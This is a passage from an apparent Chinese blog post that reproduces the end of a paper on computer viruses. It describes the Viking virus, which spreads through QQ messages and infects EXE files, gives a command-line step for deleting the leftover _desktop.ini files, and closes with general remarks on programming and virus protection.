  威金病毒会感染系统中的EXE可执行文件,会导致系统无法正常使用,同时它还会在系统的每个文人夹下自动生成_desktop.inidesktop.ini的文件,一般在病毒查杀完后这两个ini文件不会被清除掉,那么怎么样才能快速清除呢?


我们可在在“开始—运行”,输入CMD打开的命令行窗口中使用类似del c:\_desktop.ini/f/s/q/a命令对各个硬盘进行清理(对其他盘进行清理时请将“c:”更改为相应的盘符即可)。该病毒通过QQ消息进行传播,在平时玩QQ时要多加小心!


第七章结论:

不管是VB语言还是C语言、Java语言,语言都可以达到相同的功能和效果只是程序的简单与复杂的程度不同,对计算机系统也都可以进行操控,微软提供了很多的动态系统数据连接库函数和插件工具,通过这些开放的动态数据库数据和插件等都可以让系统更能更好的体现。同时随着计算机的普及,计算机技术的公众化,能编写计算机程序已经不再神秘,所以随着经济的发展计算机病毒也呈现爆发式的增长,提高计算机的安全,掌握一些基本的病毒防护方法对计算机的安全至关重要,因此,本论文对计算机安全不是很了解的读者有一个很好的参考。


第八章参考文献:

1计算机病毒攻防




分享到:

<< 上一篇:js判断手机滑动方向,滑动距离 (2015-12-18 17:23)

>> 下一篇:最炫民族风--凤凰传奇 (2015-03-28 12:48)